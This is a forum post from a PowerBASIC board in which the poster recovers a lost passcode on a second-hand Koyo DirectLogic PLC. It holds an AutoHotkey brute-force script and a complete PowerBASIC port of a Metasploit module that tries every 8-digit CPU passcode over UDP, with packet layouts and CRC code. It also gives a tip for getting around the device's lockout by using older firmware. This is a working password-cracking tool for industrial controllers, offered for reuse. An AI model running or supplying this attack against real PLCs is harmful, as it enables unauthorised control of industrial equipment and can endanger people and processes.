Announcement

Collapse
No announcement yet.

Password challenge Koyo Direct Logic 06 PLC

Collapse
X
  • Filter
  • Time
  • Show
Clear All
new posts

  • PBWin Password challenge Koyo Direct Logic 06 PLC

    Hello,

    This is my first Powerbasic program. I bought a PLC (D0-06DR Direct Logic) on an ebay type site. It was a real bargain. When I recieved it, it was password protected and literally I could not do anything with it. However I could return it but it was a real bargain so I tried all the possible I could do to get the password. The owner did not know or remembered the password. As soon I started the PLC software and try to connect to the PLC (tcp/ip) the password screen popped up. This was one of the most difficult tight securities. The other security was that you can make contact but could not open the software inside the PLC.

    I began with AutoHotkey and started this piece of code running in the background with the original PLC Direct software. I decided to create parallel at the running code a Powerbasic program. The AutoHotkey ran for two weeks. In the meantime I found a site with some password challenge code in Ruby right on the job and made a translation.

    http://dev.metasploit.com/redmine/pr.../koyo_login.rb

    However I found the password with AutoHotkey a few minutes before I ended the Powerbasic code. The password was the birthday date of the programmer. Besides Powerbasic I used Microsoft Network Monitor 3.4 to look at the communication between the PLC and the Powerbasic program to see if the UDP packages where send in a proper way.

    The Powerbasic code works and does the job about 5 times faster than the AutoHotkey version which did one challenge each second++.

    Code:
    F1::
    cntr=23843
    code=00000000
    send !PCA!S
    Sleep, 300
    loop {
    	Sleep, 500
    	WinGetActiveTitle, Title
    	if Title = Enter Password
    	{
    	 	send %cntr%{ENTER}
    		FileAppend, Passcode: %cntr%`n, C:\Users\Gebruiker\Documents\Koyo.log
    		cntr++
    		Sleep, 300
    		Send O
    	}
    	else
    	{
    		MsgBox, The window name was: "%Title%" and passcode: "%cntr%"
    		break
    	}
    }
    F3::exitapp

    Code:
    '------------------------------------------------------------------------------------------------------------------------------------------------
    '
    ' This is a translation from http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/auxiliary/scanner/scada/koyo_login.rb
    ' (c) Auhor K. Reid Wightman <wightman[at]digitalbond.com> original module. http://www.digitalbond.com/tools/basecamp/metasploit-modules
    '
    ' This module attempts to authenticate to a locked Koyo DirectLogic PLC type D0-06DR.
    ' The PLC uses a restrictive passcode, which can be A0000000 through A9999999 (program passcode) or 00000000 through 99999999 (cpu passcode).
    '
    '------------------------------------------------------------------------------------------------------------------------------------------------
    ' CRC check: http://www.lammertbies.nl/comm/info/nl_crc-calculation.html
    '------------------------------------------------------------------------------------------------------------------------------------------------
    '
    ' H0-ECOM firmware 1.0.364 after 27 Mar-2012 is protected with a 5 min lockdown after 3 non-successful attempts.
    ' So keep an older H0-ECOM at hand to guess the CPU password if you get stuck with a lost passcode device. I used an H0-ECOM rev. 1.0.357 aug/14/2003
    '
    '------------------------------------------------------------------------------------------------------------------------------------------------
    ' PBWIN translated version 10.03.0102
    ' (c) M.Kollenaar - This PowerBASIC translation.
    '------------------------------------------------------------------------------------------------------------------------------------------------
    
    #COMPILE EXE
    #DIM ALL
    
    %ipPortPLC = 28784
    '$ipPLC  = "xxx.xxx.xxx.xxx" 'Use your PLC IP address.
    $ipPLC  = "192.168.2.11"
    
    GLOBAL lFile AS LONG
    GLOBAL sock AS LONG
    GLOBAL UDP_SendToIP AS LONG
    GLOBAL UDP_PortPLC AS LONG
    
    GLOBAL UDP_RecFromIP     AS LONG    ' Received from IP Address
    GLOBAL UDP_RecFromPort   AS LONG    ' Received from Port Number
    GLOBAL UDP_RecString     AS STRING  ' Received message
    
    FUNCTION PBMAIN () AS LONG
        LOCAL index AS LONG
        LOCAL crc AS WORD
        LOCAL PassCode AS STRING
    
        lFile = FREEFILE
        OPEN "LogFile.txt" FOR OUTPUT LOCK SHARED AS lFile
    
        sock = FREEFILE
        UDP open AS sock TIMEOUT 3000
        HOST ADDR $ipPLC TO UDP_SendToIP
        UDP_PortPLC = %ipPortPLC
    
        FOR index = 0 TO 99999999 STEP 1 'Or 9999999 when A pattern
            'PassCode = "A" + RSET$(LTRIM$(STR$(index)),7 USING "0") ' Program passcode pattern: Annnnnnn
            PassCode = RSET$(LTRIM$(STR$(index)),8 USING "0")        ' CPU passcode pattern:     nnnnnnnn
            IF unlock_check() = 0 THEN
                PRINT #lFile, "PLC Host: " + $ipPLC + ":" + STR$(%ipPortPLC) + " - KOYO - CPU locked; commencing bruteforce..."
                PRINT #lFile, "PassCode: " + PassCode
                PassCode = ASC2BCD16(PassCode)
                IF TryAuth(PassCode) = 1 THEN
                    PRINT #lFile, "PLC Host: " + $ipPLC + ":" + STR$(%ipPortPLC) + " - KOYO - CPU unlocked!"
                    PRINT #lFile, "PLC Password: " +  STR$(index)
                    ? "PLC is now unlocked! Passcode is: " + STR$(index)
                    EXIT FOR
                END IF
            ELSE
                PRINT #lFile, "PLC Host: " + $ipPLC + ":" + STR$(%ipPortPLC) + " - KOYO - CPU unlocked!"
                ? "PLC is now unlocked! Passcode is: " + STR$(index)
                EXIT FOR
            END IF
        NEXT index
    
        UDP CLOSE sock
        CLOSE lfile
    
    END FUNCTION
    
    ' ASCII to BCD Hex conversion.
    ' String "A1234567" converts to bytes values &HA1,&H23,&H45,&H67
    FUNCTION ASC2BCD16(BYVAL passcode AS STRING) AS STRING
        LOCAL BCDdigits, index AS LONG
        LOCAL BCD AS STRING
    
        FOR index = 1 TO 8 STEP 2
            BCDdigits = VAL("&H" + MID$(passcode,index,1))
            SHIFT LEFT BCDdigits, 4
            BCDdigits = BCDdigits + VAL("&H" + MID$(passcode,index + 1,1))
            BCD = BCD + CHR$(BCDdigits)
        NEXT
        FUNCTION = BCD
    END FUNCTION
    
    FUNCTION unlock_check () AS LONG
        LOCAL UDP_CheckPacket, UDP_RcvPacks AS STRING
    
        UDP_CheckPacket = CHR$("HAP",&H0E,&H00,&H6E,&H68,&H0D,&H00,&H1A,&H00,&H09,&H00,&H01,&H50,&H01,&H02,&H00,&H01,&H00,&H17,&H52)
        UDP SEND sock, AT UDP_SendToIP, UDP_PortPLC, UDP_CheckPacket
    
        'read it twice to get the right datagram.
        UDP RECV sock, FROM UDP_RecFromIP, UDP_RecFromPort, UDP_RcvPacks
        UDP RECV sock, FROM UDP_RecFromIP, UDP_RecFromPort, UDP_RcvPacks
    
        IF MID$(UDP_RcvPacks,18,1) = CHR$(&H00) AND MID$(UDP_RcvPacks,20,1) = CHR$(&HD2) THEN
            unlock_check = 1 ' PLC unlocked
        ELSE
            unlock_check = 0 ' PLC locked
        END IF
    END FUNCTION
    
    FUNCTION TryAuth(BYVAL passcode AS STRING) AS LONG
        LOCAL UDP_data, UDP_authpacket, UDP_RcvPacks, lendata, crc AS STRING
        LOCAL CRC_ccitt_16 AS WORD
        LOCAL unlock_status AS LONG
    
        UDP_data = CHR$(&H1A,&H00,&H0D,&H00,&H01,&H51,&H01,&H19,&H02,&H04,&H00,passcode,&H17,&H33)
        CRC_ccitt_16 = 0
        CRC_ccitt_16 = CRCCalcStr(CRC_ccitt_16,UDP_Data)
        PRINT #lFile, "CRC_ccitt_16: " + HEX$(CRC_ccitt_16)
        crc = MKWRD$(CRC_ccitt_16)       '2 bytes (WORD)- Big Endian Byte Swap inclusive: High byte first.
        lendata = MKWRD$(LEN(UDP_Data))  'bytes are already in the big endian (network) order.
    
        UDP_authpacket = CHR$(&H48,&H41,&H50,&H07,&H00,crc,lendata,UDP_Data)
    
        UDP SEND sock, AT UDP_SendToIP, UDP_PortPLC, UDP_authpacket
    
        'Read 2 UDP datagrams and do nothing.
        UDP RECV sock, FROM UDP_RecFromIP, UDP_RecFromPort, UDP_RcvPacks
        UDP RECV sock, FROM UDP_RecFromIP, UDP_RecFromPort, UDP_RcvPacks
    
        unlock_status = unlock_check()
        FUNCTION = unlock_status
    END FUNCTION
    
    ' CRC function CrcCalcStr() (c) John Gleason
    ' Forum post - http://www.powerbasic.com/support/pbforums/showpost.php?p=379715&postcount=7
    
    FUNCTION CrcCalcStr(BYVAL crc AS WORD, BYVAL inString AS STRING) AS WORD
       STATIC oneTime AS LONG
       LOCAL ii AS LONG
       REGISTER crc2 AS WORD, crc3 AS WORD
    
       IF oneTime = 0 THEN
          oneTime = 1
          DIM crcTable(255) AS STATIC WORD AT CODEPTR(crcLookup)
       END IF
    
       'DIM a strByte array as long as the string minus 1 and let it point to the inString variable location.
       DIM strByt(LEN(inString) - 1) AS BYTE AT STRPTR(inString)
    
       FOR ii = 0 TO LEN(inString) - 1
          crc2 = crc
          crc3 = crc
          !shr crc2, 8  ;crc\256
          !shl crc3, 8  ;crc*256
          crc =  crc3 XOR crcTable(crc2 XOR strByt(ii))
          'formular checked against original formular in metasploit version.
          'crc = crc3 XOR (crcTable(crc2 XOR strByt(ii)) AND &HFFFF)
       NEXT
       FUNCTION = crc
       EXIT FUNCTION
    
    crcLookup:
    !dw &h0000, &h1021, &h2042, &h3063, &h4084, &h50A5, &h60C6, &h70E7
    !dw &h8108, &h9129, &hA14A, &hB16B, &hC18C, &hD1AD, &hE1CE, &hF1EF
    !dw &h1231, &h0210, &h3273, &h2252, &h52B5, &h4294, &h72F7, &h62D6
    !dw &h9339, &h8318, &hB37B, &hA35A, &hD3BD, &hC39C, &hF3FF, &hE3DE
    !dw &h2462, &h3443, &h0420, &h1401, &h64E6, &h74C7, &h44A4, &h5485
    !dw &hA56A, &hB54B, &h8528, &h9509, &hE5EE, &hF5CF, &hC5AC, &hD58D
    !dw &h3653, &h2672, &h1611, &h0630, &h76D7, &h66F6, &h5695, &h46B4
    !dw &hB75B, &hA77A, &h9719, &h8738, &hF7DF, &hE7FE, &hD79D, &hC7BC
    !dw &h48C4, &h58E5, &h6886, &h78A7, &h0840, &h1861, &h2802, &h3823
    !dw &hC9CC, &hD9ED, &hE98E, &hF9AF, &h8948, &h9969, &hA90A, &hB92B
    !dw &h5AF5, &h4AD4, &h7AB7, &h6A96, &h1A71, &h0A50, &h3A33, &h2A12
    !dw &hDBFD, &hCBDC, &hFBBF, &hEB9E, &h9B79, &h8B58, &hBB3B, &hAB1A
    !dw &h6CA6, &h7C87, &h4CE4, &h5CC5, &h2C22, &h3C03, &h0C60, &h1C41
    !dw &hEDAE, &hFD8F, &hCDEC, &hDDCD, &hAD2A, &hBD0B, &h8D68, &h9D49
    !dw &h7E97, &h6EB6, &h5ED5, &h4EF4, &h3E13, &h2E32, &h1E51, &h0E70
    !dw &hFF9F, &hEFBE, &hDFDD, &hCFFC, &hBF1B, &hAF3A, &h9F59, &h8F78
    !dw &h9188, &h81A9, &hB1CA, &hA1EB, &hD10C, &hC12D, &hF14E, &hE16F
    !dw &h1080, &h00A1, &h30C2, &h20E3, &h5004, &h4025, &h7046, &h6067
    !dw &h83B9, &h9398, &hA3FB, &hB3DA, &hC33D, &hD31C, &hE37F, &hF35E
    !dw &h02B1, &h1290, &h22F3, &h32D2, &h4235, &h5214, &h6277, &h7256
    !dw &hB5EA, &hA5CB, &h95A8, &h8589, &hF56E, &hE54F, &hD52C, &hC50D
    !dw &h34E2, &h24C3, &h14A0, &h0481, &h7466, &h6447, &h5424, &h4405
    !dw &hA7DB, &hB7FA, &h8799, &h97B8, &hE75F, &hF77E, &hC71D, &hD73C
    !dw &h26D3, &h36F2, &h0691, &h16B0, &h6657, &h7676, &h4615, &h5634
    !dw &hD94C, &hC96D, &hF90E, &hE92F, &h99C8, &h89E9, &hB98A, &hA9AB
    !dw &h5844, &h4865, &h7806, &h6827, &h18C0, &h08E1, &h3882, &h28A3
    !dw &hCB7D, &hDB5C, &hEB3F, &hFB1E, &h8BF9, &h9BD8, &hABBB, &hBB9A
    !dw &h4A75, &h5A54, &h6A37, &h7A16, &h0AF1, &h1AD0, &h2AB3, &h3A92
    !dw &hFD2E, &hED0F, &hDD6C, &hCD4D, &hBDAA, &hAD8B, &h9DE8, &h8DC9
    !dw &h7C26, &h6C07, &h5C64, &h4C45, &h3CA2, &h2C83, &h1CE0, &h0CC1
    !dw &hEF1F, &hFF3E, &hCF5D, &hDF7C, &hAF9B, &hBFBA, &h8FD9, &h9FF8
    !dw &h6E17, &h7E36, &h4E55, &h5E74, &h2E93, &h3EB2, &h0ED1, &h1EF0
    
    END FUNCTION
    
    '<---------------- Only test functions beyond this point ------------------>
    
    ' calcLRC source: http://en.wikipedia.org/wiki/Longitudinal_redundancy_check
    ' Function not used in this context.
    FUNCTION calcLRC(chkstr AS STRING) AS BYTE
        LOCAL lrc AS BYTE
        LOCAL cb AS STRING
        LOCAL index AS LONG
        LOCAL ascv AS BYTE
        lrc = &H00
        FOR index = 1 TO LEN(chkstr) STEP 1
            ascv = CVBYT(MID$(chkstr,index))
            lrc = (lrc + ascv) AND &HFF
        NEXT
        calcLRC = (((lrc XOR &hFF) + 1) AND &HFF)
    END FUNCTION
    
    ' Swap lsb and msb for Big-Endian PLC/MODBUS communication.
    ' Input: 16 bit value as WORD
    ' Output: 16 bit value as WORD
    ' Not used in this context, use MKWRD$()
    FUNCTION SwapBytes(BYVAL crc AS WORD) AS WORD
        REGISTER msb AS WORD, lsb AS WORD
        msb = crc
        lsb = crc
        !shl msb, 8
        !shr lsb, 8
        FUNCTION = msb+lsb
    END FUNCTION
    
    FUNCTION CRC_TEST () AS LONG
        LOCAL testdata, sscrc AS STRING
        LOCAL crc AS WORD
    
        '48   41   50   07   00   80   78   11   00   1A   00   0D   00   01   51   01   19   02   04   00   00   27   02   58   17   52
                                                     '1A   00   0D   00   01   51   01   19   02   04   00   00   27   02   58   17   52  has to be crc 8078 ==> plc!!
                                    testdata = CHR$(&H1a,&H00,&H0d,&H00,&H01,&H51,&H01,&H19,&H02,&H04,&H00,&H00,&H27,&H02,&H58,&H17,&H52)'result is 3337 for CRC-CCITT (XModem)
                                    'use website for check: http://www.lammertbies.nl/comm/info/nl_crc-calculation.html
        crc = 0  'reset for each new string if wanted
        crc = CRCCalcStr(crc, testdata)
        MSGBOX "CRC value: " & HEX$(crc,4)
        'MSGBOX "CRC value Big Endian: " & HEX$(SwapBytes(crc),4)
    END FUNCTION
    I have to thank John Gleason for his CRC-code.
    If something must done the proper way you must do it yourself.
Working...
X